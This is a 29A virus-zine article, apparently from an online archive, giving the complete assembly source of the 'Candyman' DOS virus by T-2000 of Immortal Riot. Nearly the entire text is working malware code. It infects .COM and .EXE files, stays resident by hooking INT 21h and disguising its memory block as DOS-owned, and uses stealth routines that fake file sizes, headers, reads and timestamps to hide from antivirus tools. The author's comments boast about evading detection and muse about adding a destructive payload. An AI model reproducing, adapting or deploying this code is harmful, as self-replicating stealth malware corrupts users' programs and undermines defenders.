Copy Link
Add to Bookmark
Report
29A Issue 03 05 10
;============================================================================
;
;
; NAME: Candyman v1.01
; TYPE: Full-mirror .COM & .EXE-infector.
; SIZE: 999 bytes.
; DATE: October - November 1998.
; AUTHOR: T-2000 / [Immortal Riot].
; E-MAIL: T2000_@hotmail.com
; PAYLOAD: Nope, it's completely harmless.
; CPU: 286+
;
;
; After coding tons of conventional virii I felt like making something more
; original, quickly was decided for a mirror-type virus since there are only
; two more of these ever written (Mirror & Total Trash). The main difference
; between these two and my Candyman is the fact that Candyman works 100%
; independant, ie. it doesn't need any SFT's (Mirror), nor it doesn't have to
; maintain it's own filetables (Total Trash), this doesn't have to mean that
; Candyman is more viable in the wild, but in general it's more compatible
; with all the different DOS'es around.
;
;
; CAPABILITIES:
;
; - Full-mirror (network compatible).
; - Uses UMBs if available.
;
;
; NOD-Ice seems to be the only program which jams with Candyman resident, who
; cares, the bloody AV causes goddamn parity-errors all the time at my comp!
;
;
; ... And don't fuck around with the mirror, coz he *WILL* come...
;
;============================================================================
.MODEL TINY
.STACK 512
.286
.CODE
Virus_Size EQU (Virus_End - Start)
Virus_Size_Mem EQU ((Virus_End_Mem - Start) + 512 + 15) / 16
Residency_Check EQU 0CA01h
Marker_Mem EQU 1998h
Marker_File EQU 9691h
Min_Size_Infect EQU 560
Lady_Di EQU 0DEADh ; She took her name a bit TOO seriously, heh.
START:
CALL Get_Delta ; Get our position in memory.
Anti_Debugger DB 0EAh
Get_Delta: POP SI
SUB SI, (Anti_Debugger - Start)
PUSHA
PUSH ES ; Save our PSP-segment.
MOV AX, Residency_Check ; Request residency-status.
INT 21h
CMP AX, Marker_Mem ; It's there? then abort
JE Exec_Host ; further TSR-installation.
MOV AX, 5802h ; Get UMB link-status.
INT 21h
CBW ; Save status at the stack.
PUSH AX
MOV AX, 5803h ; Add UMBs to memory-chain.
PUSH AX
MOV BX, 01h
INT 21h
MOV AX, 5800h ; Get allocation-strategy.
INT 21h
PUSH AX ; Save strategy on stack.
MOV AX, 5801h ; Set allocation strategy,
PUSH AX ; first fit, start with UMBs.
MOV BL, 80h
INT 21h
Try_Alloc_Mem: MOV AH, 48h ; Try to allocate the needed
MOV BX, Virus_Size_Mem ; memory.
INT 21h
JNC Copy_Virus_Up
MOV AH, 4Ah ; Get size of current block.
MOV BX, 0FFFFh
INT 21h
MOV AH, 4Ah ; Resize block.
SUB BX, Virus_Size_Mem + 1
INT 21h
JMP Try_Alloc_Mem ; Let's try again...
Copy_Virus_Up: MOV ES, AX ; Our allocated block.
DEC AX ; Get MCB of allocated block.
MOV DS, AX
XOR DI, DI
; Disguise our block.
MOV [DI.MCB_PSP], 08h ; Owner is DOS.
MOV [DI.MCB_Program], 'CS' ; System-code.
POP AX ; Restore allocation-
POP BX ; strategy (AX=5801h).
INT 21h
POP AX ; Restore UMB link-state,
POP BX ; (AX=5803h).
INT 21h
PUSH SI
MOV CX, Virus_Size ; Copy virus to allocated
CLD ; memory.
SEGCS
REP MOVSB
POP SI
PUSH ES
POP DS
MOV AX, 3521h ; Get address INT 21h.
INT 21h
MOV Int21h, BX ; Save address INT 21h.
MOV Int21h+2, ES
MOV AH, 25h ; Hook INT 21h.
MOV DX, OFFSET NewInt21h
INT 21h
Exec_Host: POP ES ; PSP of our host.
POPA
PUSH CS
POP DS
ADD SI, OFFSET Host_Bytes
CMP [SI.EXE_Mark], 'ZM' ; Determine host-type.
JE Exec_EXE
MOV DI, 100h ; Restore original bytes.
PUSH DI
MOV CX, (24 / 2)
CLD
REP MOVSW
XOR SI, SI
XOR DI, DI
RETN ; Pass control to .COM-host.
Exec_EXE: MOV DI, ES ; Get effective segment.
ADD DI, 10h
ADD [SI.Program_CS], DI ; Add effective segment.
ADD DI, [SI.Program_SS] ; Get original SS.
PUSH ES ; Restore DS.
POP DS
CLI ; Restore .EXE-stack.
MOV SS, DI
MOV SP, CS:[SI.Program_SP]
STI
XOR DI, DI
; Pass control to .EXE-host.
JMP DWORD PTR CS:[SI.Program_IP]
DB 'Speak my name 5 times in front of a mirror...'
; Returns CF set when handle in BX is not appropriate for infection.
Check_Handle_Inf:
MOV BP, SP ; Load BP with SP.
INC BP ; Adjust value, (coz we
INC BP ; CALLed this routine).
PUSH DS
PUSH CS
POP DS
MOV AX, 4201h ; Get current file-position
XOR CX, CX ; of handle in BX.
CWD
CALL OldInt21h
MOV File_Pos_Lo, AX ; Save original fileposition.
MOV File_Pos_Hi, DX
MOV AX, 4400h ; Get handle-info.
CALL OldInt21h
OR DL, DL ; Abort when it's not a file.
JS JNE_Bad_Handle
CALL Go_EOF ; Get filesize.
OR DX, DX ; It's bigger than 64k ?
JNZ Read_Header ; Yeah? that's OK.
CMP AX, Min_Size_Infect ; It's big enough?
JB JNE_Bad_Handle
Read_Header: CALL Go_BOF
PUSH CS
POP ES
MOV SI, OFFSET Header
MOV AH, 3Fh ; Read header.
MOV CL, 24
MOV DX, SI
CALL OldInt21h
PUSH SI
MOV DI, OFFSET Host_Bytes ; Save original header.
CLD
REP MOVSB
POP SI
CMP [SI.Checksum], Marker_File ; Already infected?
JE Bad_Handle
CMP [SI.EXE_Mark], 'ZM' ; It's an .EXE-file?
JE Mirror_EXE
CMP [SI.Jump], 0E9h ; Most .COM-files start
JNE_Bad_Handle: JNE Bad_Handle ; with a 16-bit JMP.
Mirror_COM: OR DX, DX ; Can't be greater than 64k.
JNZ Bad_Handle
; .COM isn't too big?
CMP AX, (65535 - (Virus_Size + 1024))
JA Bad_Handle
SUB AX, 3 ; Calculate displacement.
MOV [SI.Displacement], AX ; Store displacement, the
; JMP is already present.
JMP Good_Handle
Mirror_EXE: MOV AX, [SI.Header_Size_Mem] ; Calculate headersize.
MOV CL, 16
MUL CX
PUSH CX
XCHG DI, AX
PUSH DX
CALL Go_EOF
POP CX ; CX:DI = headersize.
SUB AX, DI ; Calculate size of image.
SBB DX, CX
POP CX ; Calculate virus' new CS:IP.
DIV CX ; (CX = 16).
MOV [SI.Program_IP], DX ; Set new CS:IP of host.
MOV [SI.Program_CS], AX
INC AX ; Anti-heuristic.
; Set new SS:SP.
MOV [SI.Program_SS], AX
MOV [SI.Program_SP], (Virus_Size_Mem * 16) - 16
ADD [SI.Min_Size_Mem], Virus_Size_Mem
CALL Go_EOF
ADD AX, Virus_Size ; Calculate infected size.
ADC DX, CX
MOV CH, 512 SHR 8 ; Calculate 512-byte pages.
DIV CX
OR DX, DX ; Precise division?
JZ No_Round
INC AX ; Upround 512-byte pages.
No_Round: MOV [SI.Image_512_Pages], AX
MOV [SI.Image_Mod_512], DX
Good_Handle: MOV [SI.Checksum], Marker_File ; Mark file as infected.
CALL Restore_File_Pos
POP ES ; Caller's readbuffer.
XOR CX, CX
MOV DI, [BP.Reg_AX]
SUB AX, DI ; Position before read.
SBB DX, CX
CLC
RETN
Bad_Handle: CALL Restore_File_Pos
POP ES
STC
RETN
; Hmmm... a destructive payload would fit this topic better don't you think?
DB 'Candyman, Candyman, Candyman, Candyman, ...'
Restore_File_Pos:
MOV AX, 4200h
MOV CX, 00h
File_Pos_Hi = WORD PTR $-2
MOV DX, 00h
File_Pos_Lo = WORD PTR $-2
JMP OldInt21h
Go_BOF:
MOV AX, 4200h
JMP Set_Pos
Go_EOF: MOV AX, 4202h
Set_Pos: XOR CX, CX
CWD
OldInt21h: PUSHF
CALL DWORD PTR CS:Int21h
RETN
; I'm used to save the _whole_ header of the host, simply becoz most of my
; virii are all full-stealth... this should save the pigs some work also.
Host_Bytes DW 'ZM'
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW (Virus_Size_Mem * 16)
DW 0
DW OFFSET Carrier
DW 0
Author DB 'Written by T-2000 / Immortal Riot'
NewInt21h:
; ============= FIND FIRST/NEXT FCB =========================================
CMP AH, 11h ; Findfirst (FCB) ?
JB Check_4_Find_H
CMP AH, 12h ; Findnext (FCB) ?
JA Check_4_Find_H
Mirror_FCB: CALL OldInt21h
PUSHF ; Save all registers.
PUSHA
PUSH DS
PUSH ES
OR AL, AL ; Successful operation?
JNZ JNE_Exit_Mir_S
MOV AH, 2Fh ; Get DTA-address.
CALL OldInt21h
CMP ES:[BX.FCB_Drive], -1 ; It's an extended FCB ?
JNE No_Ext_FCB
ADD BX, 7 ; Then skip extended block.
No_Ext_FCB: LEA SI, [BX.FCB_Size] ; Set index-registers.
LEA DI, [BX.FCB_Name+8]
LEA BX, [BX.FCB_Time]
JMP Edit_DTA
; ============= FIND FIRST/NEXT HANDLE ======================================
Check_4_Find_H: CMP AH, 4Eh ; Findfirst (handle) ?
JB Check_4_Read
CMP AH, 4Fh ; Findnext (handle) ?
JA Check_4_Read
Mirror_Handle: CALL OldInt21h
PUSHF
PUSHA
PUSH DS
PUSH ES
JC Exit_Mir_Size
MOV AX, 2F00h + '.' ; Get DTA-address.
CALL OldInt21h
LEA DI, [BX.Handle_Name] ; Find extension-offset.
MOV CH, 0FFh
CLD
REPNE SCASB
LEA SI, [BX.Handle_Size] ; Set index-registers.
LEA BX, [BX.Handle_Time]
Edit_DTA: PUSH ES
POP DS
CWD ; DX = 00h.
MOV AL, DS:[BX] ; Get filetime.
AND AL, 00011111b ; Mask seconds.
CMP AL, (60 / 2) ; 60 seconds?
JE Exit_Mir_Size ; If so, abort mirror.
CMP DS:[SI+2], DX ; File is over 64k ?
JNZ Check_COM_Ext
CMP DS:[SI], Min_Size_Infect ; Large enough?
JB Exit_Mir_Size
Check_COM_Ext: CMP DS:[DI], 'OC' ; .COM-extension?
JNE Check_EXE_Ext
CMP BYTE PTR DS:[DI+2], 'M'
JNE_Exit_Mir_S: JNE Exit_Mir_Size
CMP [SI+2], DX ; .COM is bigger than 64k ?
JNZ Exit_Mir_Size
; .COM is not too big?
CMP [SI], (65535 - (Virus_Size + 1024))
JB Add_Size_Virus
Check_EXE_Ext: CMP DS:[DI], 'XE' ; .EXE-entension?
JNE Exit_Mir_Size
CMP BYTE PTR DS:[DI+2], 'E'
JNE Exit_Mir_Size
Add_Size_Virus: ADD DS:[SI], Virus_Size ; Add virussize.
ADC DS:[SI+2], DX
; Set infected timestamp.
AND BYTE PTR DS:[BX], 11100000b
OR BYTE PTR DS:[BX], (60 / 2)
Exit_Mir_Size: JMP Exit_Mirror_S
; ============= FILE READ ===================================================
Check_4_Read: CMP AH, 3Fh ; Read handle.
JNE Check_4_Seek
Mirror_Read: CALL OldInt21h ; Execute read.
PUSHF ; Save all registers.
PUSHA
PUSH DS
PUSH ES
JC Exit_Mirror_R ; Abort if error occurred.
CALL Check_Handle_Inf
JC Exit_Mirror_R
PUSH AX
PUSH DX
JNZ Read_Over_64k ; Read started in 1st 64k ?
CMP AX, 24 ; They are reading from the
JNB Read_Over_64k ; header?
; === Mirror the read header. ===
ADD DI, AX ; Calculate end of read.
JC Adjust_DI ; Overflow?
CMP DI, 24 ; They read to the end of
JB No_Adjust_DI ; the header?
Adjust_DI: MOV DI, 24 ; If so, adjust register.
No_Adjust_DI: MOV CX, DI ; Howmany bytes to mirror?
SUB CX, AX
MOV DI, [BP.Reg_DX]
ADD SI, AX
CLD ; Copy infected header into
REP MOVSB ; caller's buffer.
Read_Over_64k: POP DI ; DI:SI position before read.
POP SI
ADD SI, [BP.Reg_CX] ; DI:SI = position after
ADC DI, CX ; read.
CALL Go_EOF
; === Check if the read ends above the clean host. ===
CMP DI, DX ; Check high word.
JB Restore_Read
JA Mirror_Above
CMP SI, AX ; Check low word.
JNA Restore_Read
Mirror_Above: ADD AX, Virus_Size ; Calculate size of
ADC DX, CX ; mirrored host.
; Check if the read ends before the end
; of the virtual virusbody has reached.
CMP DI, CX ; Check high word.
JB No_Adjust
JA Do_Adjust
CMP SI, AX ; Check low word.
JNA No_Adjust
Do_Adjust: MOV SI, AX ; Read was over virusbody.
MOV DI, DX
No_Adjust: SUB AX, Virus_Size
PUSH AX
CALL Restore_File_Pos ; Restore position after
; the caller's read.
POP CX
MOV File_Pos_Lo, SI ; Save new file-position.
MOV File_Pos_Hi, DI
SUB SI, AX
SUB AX, CX
MOV CX, SI
XCHG SI, AX
MOV DI, [BP.Reg_DX]
ADD DI, [BP.Reg_AX]
ADD [BP.Reg_AX], CX
CLD ; Copy virusbody into
REP MOVSB ; caller's readbuffer.
Restore_Read: CALL Restore_File_Pos
Exit_Mirror_R: JMP Exit_Mirror_S
; ============= FILE SEEK ===================================================
Check_4_Seek: CMP AX, 4202h ; Seek EOF ?
JNE Check_4_Write
Mirror_Seek: CALL OldInt21h
PUSHF
PUSHA
PUSH DS
PUSH ES
JC Exit_Mirror_S
CALL Check_Handle_Inf ; Handle appropriate for
JC Exit_Mirror_S ; infection?
MOV AX, 4201h ; Add the virussize to EOF.
MOV DX, Virus_Size
CALL OldInt21h
MOV [BP.Reg_AX], AX ; Set new values in stack.
MOV [BP.Reg_DX], DX
Exit_Mirror_S: POP ES
POP DS
JMP Exit_RETF2
; ============= FILE WRITE ==================================================
Check_4_Write: CMP AH, 40h ; Write file?
JNE Check_4_TDate
PUSHA
PUSH DS
PUSH ES
CALL Check_Handle_Inf
JC Abort_Routine
CALL Go_BOF
MOV AH, 40h ; Write the infected header.
MOV CL, 24
MOV DX, SI
CALL OldInt21h
JC Restore_Pos
CALL Go_EOF
MOV AH, 40h ; Write the virusbody.
MOV CX, Virus_Size
CWD
CALL OldInt21h
Restore_Pos: CALL Restore_File_Pos
Exit_Mir_Write: POP ES
POP DS
POPA
CALL OldInt21h ; Do the write.
JC Do_RETF2
PUSHF
PUSHA
MOV AX, 5700h ; Get filedate & time.
CALL OldInt21h
MOV AX, 5701h ; Set infected timestamp.
AND CL, 11100000b
OR CL, (60 / 2)
CALL OldInt21h
Exit_RETF2: POPA
POPF
Do_RETF2: RETF 2
; ============= GET FILE DATE & TIME ========================================
Check_4_TDate: CMP AX, 5700h ; Get filedate & time?
JNE Check_4_Res
Mirror_F_Time: CALL OldInt21h
PUSHF
PUSHA
PUSH DS
PUSH ES
JC Exit_Filetime
CALL Check_Handle_Inf ; Handle OK for infection?
JC Exit_Filetime
; Set infected timestamp in the stack.
AND BYTE PTR [BP.Reg_CX], 11100000b
OR BYTE PTR [BP.Reg_CX], (60 / 2)
Exit_Filetime: JMP Exit_Mirror_S
; ============= VIRUS RESIDENCY CHECK =======================================
Check_4_Res: CMP AX, Residency_Check ; "Are-you-there-bro?" call?
JNE JMP_Int21h
MOV AX, Marker_Mem ; Yeah dude, here I am.
IRET
Abort_Routine: POP ES
POP DS
POPA
JMP_Int21h: DB 0EAh ; JMP FAR opcode.
Virus_End:
Int21h DW 0, 0
Header DB 24 DUP(0)
Virus_End_Mem:
COM_Header STRUC
Jump DB 0
Displacement DW 0
COM_Header ENDS
EXE_Header STRUC
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Header_Size_Mem DW 0
Min_Size_Mem DW 0
Max_Size_Mem DW 0
Program_SS DW 0
Program_SP DW 0
Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Offs_RelocTable DW 0
Overlay_Number DW 0
Undocumented DW 0
Unused DW 0
EXE_Header ENDS
FindFirstHandle STRUC
Handle_Reserved DB 21 DUP(0)
Handle_Attr DB 0
Handle_Time DW 0
Handle_Date DW 0
Handle_Size DW 0, 0
Handle_Name DW 6 DUP(0)
DB 0
FindFirstHandle ENDS
FindFirst_FCB STRUC
FCB_Drive DB 0
FCB_Name DB 8 DUP(0)
FCB_Ext DB 3 DUP(0)
FCB_Attr DB 0
FCB_Reserved DB 10 DUP(0)
FCB_Time DW 0
FCB_Date DW 0
FCB_Start_Clust DW 0
FCB_Size DW 0, 0
FindFirst_FCB ENDS
Push_All_Stack STRUC
Reg_ES DW 0
Reg_DS DW 0
Reg_DI DW 0
Reg_SI DW 0
Reg_BP DW 0
Reg_SP DW 0
Reg_BX DW 0
Reg_DX DW 0
Reg_CX DW 0
Reg_AX DW 0
Reg_Flags DW 0
Reg_Ret_Addr DW 0
Push_All_Stack ENDS
MCB_Header STRUC
MCB_Type DB 0 ; M = not last block, Z = last block.
MCB_PSP DW 0 ; PSP-segment of this block.
MCB_Size_Mem DW 0 ; Size of block in paragraphs.
MCB_Dunno DB 3 DUP(0) ; Don't care, don't need it.
MCB_Program DW 4 DUP(0) ; Filename of program of this block.
MCB_Header ENDS
Carrier:
PUSH CS
POP DS
MOV AH, 09h
MOV DX, OFFSET Carrier_Msg
INT 21h
MOV AX, 4C00h
INT 21h
Carrier_Msg DB 'File infected with Candyman virus!', 0Ah, 0Dh, '$'
END START